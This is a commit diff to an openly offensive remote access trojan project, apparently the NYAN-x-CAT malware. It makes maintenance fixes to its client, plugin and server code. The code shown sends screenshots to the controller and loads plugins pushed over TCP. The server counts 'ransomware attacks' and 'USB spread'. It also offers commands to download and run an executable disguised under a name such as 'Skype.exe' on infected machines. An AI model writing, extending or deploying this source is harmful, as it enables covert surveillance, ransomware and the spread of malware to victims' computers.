Fixed

Fixed NYAN-x-CAT#84

Project/Client/C_Commands.vb

@@ -34,6 +34,7 @@
                             THU.Save(MM, System.Drawing.Imaging.ImageFormat.Jpeg)
                             C_TcpClient.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray))
                             Try
+                                _g.Dispose()
                                 MM.Dispose()
                                 THU.Dispose()
                                 G.Dispose()
@@ -44,9 +45,10 @@
 
                     Case "CPL" 'check if plugin in installed, or ask server to send it
                         If GTV(A(1)) = Nothing Then
-                            Console.WriteLine(A(1))
+                            Diagnostics.Debug.WriteLine(A(1))
                             C_TcpClient.Send("GPL" + SPL + A(1))
                         Else
+                            Diagnostics.Debug.WriteLine("Invoked")
                             Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False))
                         End If
 

Project/Plugins/PIN/Main.vb

@@ -60,7 +60,7 @@ Public Class Main
             Exit Sub
             'GoTo re
         Catch ex As Exception
-            Console.WriteLine("RC " + ex.Message)
+            Diagnostics.Debug.WriteLine("RC " + ex.Message)
         End Try
     End Sub
     Public Shared Function CS(ByVal Path As String, EXE As String)
@@ -83,7 +83,7 @@ Public Class Main
             Dim path = shell.CreateShortcut(lnkPath).TargetPath
             Return path
         Catch ex As Exception
-            Console.WriteLine("GETLINK " + ex.Message)
+            Diagnostics.Debug.WriteLine("GETLINK " + ex.Message)
         End Try
     End Function
     Public Shared Function Randomz(ByVal L As Integer)

Project/Server/Classes/S_Client.vb

@@ -19,7 +19,6 @@ Public Class S_Client
         C.SendBufferSize = 1024 * 1000
         Me.MS = New MemoryStream
         Me.IP = CL.RemoteEndPoint.ToString
-
         C.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, New AsyncCallback(AddressOf BeginReceive), Nothing)
     End Sub
 
@@ -76,6 +75,7 @@ re:
                     L.SubItems(S_Messages.M.PING.Index).Text = "Offline"
                     L.ForeColor = Color.Red
                     S_Messages.Messages("{" + IP + "}", "Disconnected")
+                    S_Settings.Online.Remove(Me)
                 End If
             End If
         Catch ex As Exception

Project/Server/Classes/S_Messages.vb

@@ -30,7 +30,7 @@
                         C.L.Tag = C
                         Try : C.L.ToolTipText = String.Format("Administrator {0}" + Environment.NewLine + "Full Path {1}", A(14), A(15)) : Catch : End Try
                         C.L.SubItems.Add(C.IP.Split(":")(0))
-
+                        S_Settings.Online.Add(C)
                         For i As Integer = 1 To A.Length - 1
                             If i = 15 Then Exit For
                             C.L.SubItems.Add(A(i))

Project/Server/Classes/S_Settings.vb

@@ -6,5 +6,5 @@
     Public Shared StubVer As String = "v0.1.9.1"
     Public Shared SPL As String = "|'L'|"
     Public Shared EOF As String = "|'N'|"
-
+    Public Shared Online As New List(Of S_Client)
 End Class

Project/Server/Forms/Main.resx

@@ -134,7 +134,7 @@
         AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
         LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
         ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
-        VAYAAk1TRnQBSQFMAgEB8wEAATABGQEwAhkBAAEQAQAE/wEhAQAI/wFCAU0BNgcAATYDAAEoAwABZAMA
+        VAYAAk1TRnQBSQFMAgEB8wEAAUgBGQFIAhkBAAEQAQAE/wEhAQAI/wFCAU0BNgcAATYDAAEoAwABZAMA
         AdABAwIAAQEBAAEgBgAB9QEF/wCiAAMFAQcDEAEWAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMU
         ARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxIBGAMI
         AQsDBQEHAxABFgMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMUARsDFAEbAxQBGwMU

Project/Server/Forms/Main.vb

@@ -1,5 +1,5 @@
 '##################################################################
-'##        N Y A N   C A T  |||   Updated on Nov./27/2018        ##
+'##        N Y A N   C A T  |||   Updated on JAN./16/2019        ##
 '##################################################################
 '##                                                              ##
 '##                                                              ##
@@ -256,9 +256,9 @@ Public Class Main
         Await M.WriteAsync(CMD, 0, CMD.Length)
         Await M.WriteAsync(SB(S_Settings.EOF), 0, S_Settings.EOF.Length)
         Try
-            For Each x As ListViewItem In L1.Items
-                If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then
-                    Dim CL As S_Client = CType(x.Tag, S_Client)
+            For Each x In S_Settings.Online.ToList
+                Dim CL As S_Client = CType(x, S_Client)
+                If Not x.L.SubItems(PING.Index).Text.ToString.Contains("Offline") Then
                     CL.Send(M.ToArray)
                 End If
             Next
@@ -433,7 +433,7 @@ Public Class Main
 
     Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles LabelUpdate.Tick
         Try
-            MetroLabel1.Text = "ONLINE CLIENTS [" & L1.Items.Count & "]        SELECTED CLIENTS [" & L1.SelectedItems.Count & "]        TOTAL RANSOMWARE ATTACKS [" & KeyCount() & "]        TOTAL USB SPREAD [" & SpreadCount() & "]"
+            MetroLabel1.Text = "ONLINE CLIENTS [" & S_Settings.Online.Count & "]        SELECTED CLIENTS [" & L1.SelectedItems.Count & "]        TOTAL RANSOMWARE ATTACKS [" & KeyCount() & "]        TOTAL USB SPREAD [" & SpreadCount() & "]"
         Catch ex As Exception
         End Try
     End Sub
@@ -987,10 +987,10 @@ Public Class Main
         Try
             If L1.Items.Count > 0 Then
                 Dim o As New OpenFileDialog
-            With o
-                .Filter = ".exe (*.exe)|*.exe"
-                .Title = "UPDATE"
-            End With
+                With o
+                    .Filter = ".exe (*.exe)|*.exe"
+                    .Title = "UPDATE"
+                End With
 
                 If o.ShowDialog = Windows.Forms.DialogResult.OK Then
                     Dim PLG = Convert.ToBase64String(Await GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True))
@@ -1218,9 +1218,9 @@ Public Class Main
         Try
             If L1.Items.Count > 0 Then
                 Dim o As New OpenFileDialog
-            With o
-                .Title = "RUN"
-            End With
+                With o
+                    .Title = "RUN"
+                End With
 
                 If o.ShowDialog = Windows.Forms.DialogResult.OK Then
                     Dim PLG = Convert.ToBase64String(Await GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True))
@@ -1255,7 +1255,7 @@ Public Class Main
         Try
             If L1.Items.Count > 0 Then
                 Dim URL As String = InputBox("Enter the direct link", "Run File", "http: //site.com/file.exe")
-            Dim EXE As String = InputBox("Enter the file name", "File Name", "Skype.exe")
+                Dim EXE As String = InputBox("Enter the file name", "File Name", "Skype.exe")
 
                 If String.IsNullOrEmpty(URL) Then
                     Exit Sub
@@ -1448,9 +1448,9 @@ Public Class Main
                 Await M.WriteAsync(CMD, 0, CMD.Length)
                 Await M.WriteAsync(SB(S_Settings.EOF), 0, S_Settings.EOF.Length)
 
-                For Each x As ListViewItem In L1.Items
-                    If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then
-                        Dim CL As S_Client = CType(x.Tag, S_Client)
+                For Each x In S_Settings.Online.ToList
+                    Dim CL As S_Client = CType(x, S_Client)
+                    If Not CL.L.SubItems(PING.Index).Text.ToString.Contains("Offline") Then
                         CL.Send(M.ToArray)
                     End If
                 Next
@@ -1469,6 +1469,7 @@ Public Class Main
 #End Region
 
 
+
 #Region "Builder"
 
     Private Sub MetroButton1_Click(sender As Object, e As EventArgs) Handles MetroButton1.Click
@@ -1653,8 +1654,8 @@ Public Class Main
 
                     definition.Dispose()
                     Try : IO.File.Delete(Application.StartupPath & "\Misc\Stub\Stub.exe") : Catch : End Try
-                    End If
                 End If
+            End If
         Catch ex1 As Exception
             MsgBox(ex1.Message, MsgBoxStyle.Exclamation)
             Return